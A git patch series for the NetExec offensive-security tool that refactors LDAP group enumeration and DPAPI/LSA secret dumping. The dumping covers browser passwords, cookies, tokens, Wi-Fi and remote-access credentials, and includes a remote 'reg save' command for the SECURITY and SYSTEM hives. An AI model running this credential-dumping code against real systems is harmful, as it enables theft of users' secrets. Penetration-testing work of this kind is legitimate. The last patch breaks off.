b/nxc/protocols/ldap.py @@ -757,38 +757,35 @@ def groups(self): return else: group = group_parsed[0] + direct_group_members = group.get("member", []) + if not isinstance(direct_group_members, list): + direct_group_members = [direct_group_members] - # Search filter: user must have membership OR primaryGroupID + # Get all group members: user must have membership OR primaryGroupID search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))" attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] - resp = self.search(search_filter, attributes) - resp_parsed = parse_result_attributes(resp) - self.logger.debug(f"Total of records returned {len(resp_parsed)}") - - # Fall back to the group's member attribute for any DN the - # memberOf/primaryGroupID search above didn't already return - group_members = group.get("member", []) - if not isinstance(group_members, list): - group_members = [group_members] + group_members = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(group_members)}") - member_attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] - - if group_members: - for member_dn in group_members: - member_resp = self.search("(objectClass=*)", member_attributes, baseDN=member_dn) + # Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return + if len(group_members) < len(direct_group_members): + for member_dn in direct_group_members: + member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"]) member_parsed = parse_result_attributes(member_resp) if member_parsed: - resp_parsed.append(member_parsed[0]) + group_members.append(member_parsed[0]) else: - self.logger.debug(f"Could not resolve group member DN: {member_dn}") - - deduped = {} - for item in resp_parsed: - key = item.get("distinguishedName", item.get("cn", "")).lower() - deduped.setdefault(key, item) - resp_parsed = list(deduped.values()) + self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'") + group_members.append({"distinguishedName": member_dn}) + + # Deduplicate group members by distinguishedName or cn + deduped = {} + for item in group_members: + key = item.get("distinguishedName", item.get("cn", "")).lower() + deduped.setdefault(key, item) + resp_parsed = list(deduped.values()) # Display group members if not resp_parsed: From 4a2c8d433d1ed9a4555108bfe9372cab26f6832b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 24 Aug 2026 17:16:56 -0400 Subject: [PATCH 220/397] Make output logic clear and add dn fallback --- nxc/protocols/ldap.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e781b0ba59..053e168bb9 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -792,9 +792,18 @@ def groups(self): self.logger.fail(f"Group '{self.args.groups}' has no members") else: for item in resp_parsed: - # Display sAMAccountName or CN if sAMAccountName not present (could be a group) - # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names) - self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"]) + # Display cn if it is a group + # Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present + # If nothing is present, display Distinguished Name + if "group" in item.get("objectClass", []): + out = item["cn"] + elif "sAMAccountName" in item: + out = item["sAMAccountName"] + elif "cn" in item: + out = item["cn"] + else: + out = item["distinguishedName"] + self.logger.highlight(out) # List all groups else: From 473e33352e36d3b5e307626e9f639a2531dccdc3 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 10:02:25 +0200 Subject: [PATCH 221/397] update args pvk --- nxc/helpers/dpapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 649c9d7da7..d4439ab5c5 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -420,7 +420,7 @@ def pvkbytes(self): pvkbytes = None # First check the pvk argument and handle it - if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: + if self.context.args.pvk is not None: try: with open(self.context.args.pvk, "rb") as fd: pvkbytes = fd.read() From cb7d22ccbc3d32076eaa0f7d20a4dcda6e9c7fb0 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 11:22:46 +0200 Subject: [PATCH 222/397] modify output_file and counter management --- nxc/helpers/dpapi.py | 92 +++++++++++++++++++--------------------- nxc/modules/mobaxterm.py | 2 +- nxc/modules/mremoteng.py | 2 +- nxc/modules/rdcman.py | 4 +- nxc/modules/vnc.py | 8 ++-- nxc/modules/wam.py | 2 +- nxc/modules/wifi.py | 10 ++--- 7 files changed, 58 insertions(+), 62 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index d4439ab5c5..8884149da5 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -89,6 +89,10 @@ def __init__(self, context, target: Target): self.masterkeys = [] self._pvkbytes = None + # Keep track of writing secrets in file + self.output_file = None + self.secrets_counter = 0 + if context.args.dpapi is not None: self.dump_cookies = "cookies" in context.args.dpapi @@ -99,6 +103,21 @@ def __init__(self, context, target: Target): # Initialize the connection here, if you need this class then you will need the connection self.init_connection() + def __del__(self): + # When everything is finished, then we give the feedback to the user + if self.output_file is not None and self.secrets_counter > 0: + self.context.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") + + def write_to_output_file(self, line): + # If self.output_file is not already initialized, it means it is the first time we need to write secrets in it + if self.output_file is None: + self.output_file = self.context.output_file_template.format(output_folder="dpapi") # ruff: ignore[open-file-with-context-handler] + + # Handle the secret counter here, avoid to handle it in multiple places + with open(self.output_file, "w", encoding="utf-8") as fd: + self.secrets_counter += 1 + fd.write(line + "\n") + def init_connection(self): """Tries to initiate a DPLootConnection object from a NXC connection""" if self.conn is not None: @@ -189,8 +208,7 @@ def credential_callback(credential): tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -203,11 +221,10 @@ def credential_callback(credential): try: credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback) self.context.logger.debug(f"Credentials Triage Object: {credentials_triage}") - secrets = credentials_triage.triage_credentials() - secrets += credentials_triage.triage_system_credentials() + credentials_triage.triage_credentials() + credentials_triage.triage_system_credentials() except Exception as e: self.context.logger.debug(f"Error while looting credentials: {e}") - return len(secrets) def triage_chromium(self, masterkeys: list[Masterkey]): cng_chromekey = None @@ -227,8 +244,7 @@ def browser_callback(secret): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), @@ -240,8 +256,7 @@ def browser_callback(secret): elif isinstance(secret, GoogleRefreshToken): line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), @@ -253,16 +268,14 @@ def browser_callback(secret): elif isinstance(secret, Cookie): line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) try: browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) - secrets = browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) + browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) except Exception as e: self.context.logger.debug(f"Error while looting browsers: {e}") - return len(secrets[0]) def triage_vaults(self, masterkeys: list[Masterkey]): def vault_callback(secret): @@ -271,8 +284,7 @@ def vault_callback(secret): resource = secret.resource + " -" if secret.resource != "" else "-" line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -285,12 +297,10 @@ def vault_callback(secret): try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback) - secrets = vaults_triage.triage_vaults() + vaults_triage.triage_vaults() except Exception as e: self.context.logger.debug(f"Error while looting vaults: {e}") - return len(secrets) - def triage_firefox(self): def firefox_callback(secret): tag = "FIREFOX" @@ -298,8 +308,7 @@ def firefox_callback(secret): url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -311,23 +320,17 @@ def firefox_callback(secret): elif isinstance(secret, FirefoxCookie): line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" self.context.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") + self.write_to_output_file(line) try: # Collect Firefox stored secrets firefox_triage = FirefoxTriage(target=self.target, logger=self.context.logger, conn=self.conn, per_secret_callback=firefox_callback) - secrets = firefox_triage.run(gather_cookies=self.dump_cookies) + firefox_triage.run(gather_cookies=self.dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - return len(secrets) - # The dpapi function for every protocol def triage_dpapi(self): - # Get the handle of the output file, this will be use by every triage functions to write looted secrets in there - self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler] - # Load masterkeys masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) if len(masterkeys) == 0: @@ -337,24 +340,11 @@ def triage_dpapi(self): self.context.logger.success("Looting secrets...") - # Keeping a counter to know how it went - counter = 0 - # Calling all the triage functions. We can add other triage functions here - counter += self.triage_credentials(masterkeys) - counter += self.triage_chromium(masterkeys) - counter += self.triage_vaults(masterkeys) - counter += self.triage_firefox() - - # If the output file is still opened, the gently close it. - if self.output_file: - self.output_file.close() - - # If no secrets recovered, then we still tell the user - if counter == 0: - self.context.logger.fail("No DPAPI secrets retrieved") - else: - self.context.logger.success(f"{counter} DPAPI secrets retrieved") + self.triage_credentials(masterkeys) + self.triage_chromium(masterkeys) + self.triage_vaults(masterkeys) + self.triage_firefox() def triage_sccm(self): masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True) @@ -367,7 +357,9 @@ def triage_sccm(self): def sccm_callback(secret): if isinstance(secret, SCCMCred): tag = "NAA Account" - self.context.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}" + self.context.logger.highlight(line) + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", @@ -378,7 +370,9 @@ def sccm_callback(secret): ) elif isinstance(secret, SCCMSecret): tag = "Task sequences secret" - self.context.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + line = f"[{tag}] {secret.secret.decode('latin-1')}" + self.context.logger.highlight(line) + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", @@ -389,7 +383,9 @@ def sccm_callback(secret): ) elif isinstance(secret, SCCMCollection): tag = "Collection Variable" - self.context.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}" + self.context.logger.highlight(line) + self.write_to_output_file(line) self.context.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index bc8027f9a1..533b89e8a4 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -26,7 +26,7 @@ def mobaxterm_callback(credential): log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) elif isinstance(credential, MobaXtermPassword): log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.log.highlight(f"[{credential.winuser}] {log_text}") + context.dpapi_triage.write_to_output_file(f"[{credential.winuser}] {log_text}") try: triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 893e7e8900..2d381a0b62 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -112,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}") + self.context.dpapi_triage.write_to_output_file(f"{name}:{host} - {domain}\\{username}:{password}") def parse_xml_nodes(self, main): nodes = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index 3cd7a31ff5..fce98ded8a 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -31,7 +31,7 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + context.dpapi_triage.write_to_output_file(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") for rdgfile in rdgfiles: if rdgfile is None: continue @@ -39,6 +39,6 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + context.dpapi_triage.write_to_output_file(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 0844a98a23..06f54a13c0 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -95,7 +95,7 @@ def vnc_client_proxyconf_extract(self, dploot_conn): cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") - self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") def vnc_from_registry(self, dpapi_conn): vncs = ( @@ -114,7 +114,7 @@ def vnc_from_registry(self, dpapi_conn): password = self.recover_vncpassword(value) if password is None: continue - self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] Password: {password.decode('latin-1')}") vnc_users = ( ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"), @@ -141,7 +141,7 @@ def vnc_from_registry(self, dpapi_conn): if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}") continue - self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") def split_len(self, seq, length): return [seq[i:i + length] for i in range(0, len(seq), length)] @@ -193,7 +193,7 @@ def vnc_from_filesystem(self, dploot_conn): for passwd_encrypted in passwds_encrypted: passwd_encrypted = passwd_encrypted.split(b"=")[-1] password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8] - self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] Password: {password.decode('latin-1')}") def get_users(self, conn): users = {} diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index d6a15e57af..56c0a49246 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -31,7 +31,7 @@ def token_callback(token): decoded_token = jwt.decode(access_token, options={"verify_signature": False}) if "preferred_username" in decoded_token: # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token - context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") + context.dpapi_triage.write_to_output_file(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") try: triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback) diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index a61dd4dc11..204b5e9a60 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -32,16 +32,16 @@ def on_admin_login(self, context, connection): context.log.highlight(f"[OPEN] {wifi_cred.ssid}") elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: try: - context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") + context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") except Exception: - context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None: - context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") + context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") else: - context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") + context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") except Exception: - context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") else: context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}") From c5ab84af018617d711068d372b138d90aa185117 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 11:37:40 +0200 Subject: [PATCH 223/397] added lsa quiet mode --- nxc/helpers/dpapi.py | 2 +- nxc/protocols/mssql.py | 14 ++++++++------ nxc/protocols/smb.py | 19 ++++++++++++------- nxc/protocols/winrm.py | 13 ++++++++----- 4 files changed, 29 insertions(+), 19 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 8884149da5..7682d4bed0 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -166,7 +166,7 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): and callable(self.context.lsa)): # We can use the protocol specific LSA dump if not already dumped. # But first, just making sure the protocol supports LSA dump :) - self.context.lsa() + self.context.lsa(quiet=True) # Invoke MasterkeyTriage class try: diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index e7d4c0916b..a6513235ee 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -599,7 +599,7 @@ def sam(self): SAM.export(output_filename) @requires_admin - def lsa(self): + def lsa(self, quiet=False): security_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" @@ -621,19 +621,21 @@ def lsa(self): or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.") return - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() def lsa_secret_callback(_, secret): - self.logger.highlight(secret) if "dpapi_machinekey" not in secret: - self.logger.highlight(secret) + if not quiet: + self.logger.highlight(secret) else: correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} - self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") - self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") LSA = LSASecrets( f"{output_filename}.security", boot_key, diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e112c543d1..98ae6fbafc 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2257,19 +2257,21 @@ def list_snapshots(self): self.logger.highlight(f"{drive:<8}{i:<26}") @requires_admin - def lsa(self): + def lsa(self, quiet=False): try: self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 if "dpapi_machinekey" not in secret: - self.logger.highlight(secret) + if not quiet: + self.logger.highlight(secret) else: correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} - self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") - self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) @@ -2279,7 +2281,8 @@ def add_lsa_secret(secret): ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + if not quiet: + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 @@ -2299,13 +2302,15 @@ def add_lsa_secret(secret): isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") self.output_filename = self.output_file_template.format(output_folder="lsa") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + if not quiet: + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") try: self.remote_ops.finish() except Exception as e: diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index f8c13521f0..2ea93f4b02 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -374,7 +374,7 @@ def sam(self): SAM.dump() SAM.export(output_filename) - def lsa(self): + def lsa(self, quiet=False): security_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" @@ -393,18 +393,21 @@ def lsa(self): else: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") else: - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() def lsa_secret_callback(_, secret): if "dpapi_machinekey" not in secret: - self.logger.highlight(secret) + if not quiet: + self.logger.highlight(secret) else: correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} - self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") - self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") LSA = LSASecrets( f"{output_filename}.security", boot_key, From 1d06afcc8474b405a4e23be7fdcc1301999a7bd4 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 11:47:50 +0200 Subject: [PATCH 224/397] only rely on kdcHost for backupkey recovery --- nxc/helpers/dpapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 7682d4bed0..524c53cb37 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -442,7 +442,7 @@ def pvkbytes(self): domain=self.context.domain, username=self.context.username, password=self.context.password, - address=self.context.kdcHost if self.context.kdcHost is not None and self.context.kdcHost != "" else self.context.domain, # querying DNS server for domain will return DC + address=self.context.kdcHost, # querying DNS server for domain will return DC lmhash=self.context.lmhash, nthash=self.context.nthash, do_kerberos=self.context.kerberos, From 8e4fc22290052cdfcd763ca5caf66ff7cde22da3 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 11:50:42 +0200 Subject: [PATCH 225/397] move it closer to dpapi stuff, easier to read --- nxc/protocols/smb.py | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 98ae6fbafc..375ed837ad 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2242,6 +2242,27 @@ def sccm(self): def dpapi(self): self.dpapi_triage.triage_dpapi() + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.remoteName, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + kdcHost=self.kdcHost, + dc_ip=self.kdcHost, + aesKey=self.aesKey, + use_kcache=self.use_kcache, + ) + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage + @requires_admin def list_snapshots(self): drive = self.args.list_snapshots @@ -2426,24 +2447,3 @@ def add_hash(secret_type, secret, host_id): def mark_guest(self): return highlight(f"{highlight('(Guest)')}" if self.is_guest else "") - - @property - def dpapi_triage(self) -> DPAPITriage: - if self._dpapi_triage is not None: - return self._dpapi_triage - target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - address=self.remoteName, - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - kdcHost=self.kdcHost, - dc_ip=self.kdcHost, - aesKey=self.aesKey, - use_kcache=self.use_kcache, - ) - - self._dpapi_triage = DPAPITriage(self, target) - return self._dpapi_triage From 01536dc628d59cafd462b551fea64e553893d213 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 11:51:40 +0200 Subject: [PATCH 226/397] ruff --- nxc/helpers/dpapi.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 524c53cb37..12868e9e6c 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -111,7 +111,7 @@ def __del__(self): def write_to_output_file(self, line): # If self.output_file is not already initialized, it means it is the first time we need to write secrets in it if self.output_file is None: - self.output_file = self.context.output_file_template.format(output_folder="dpapi") # ruff: ignore[open-file-with-context-handler] + self.output_file = self.context.output_file_template.format(output_folder="dpapi") # Handle the secret counter here, avoid to handle it in multiple places with open(self.output_file, "w", encoding="utf-8") as fd: @@ -276,7 +276,6 @@ def browser_callback(secret): except Exception as e: self.context.logger.debug(f"Error while looting browsers: {e}") - def triage_vaults(self, masterkeys: list[Masterkey]): def vault_callback(secret): tag = "IEX" @@ -442,7 +441,7 @@ def pvkbytes(self): domain=self.context.domain, username=self.context.username, password=self.context.password, - address=self.context.kdcHost, # querying DNS server for domain will return DC + address=self.context.kdcHost, # querying DNS server for domain will return DC lmhash=self.context.lmhash, nthash=self.context.nthash, do_kerberos=self.context.kerberos, From 92e61efe14d6f40c3189e63c4aeddc3430436fa9 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 11:55:19 +0200 Subject: [PATCH 227/397] Fix the open file to append instead of overwrite --- nxc/helpers/dpapi.py | 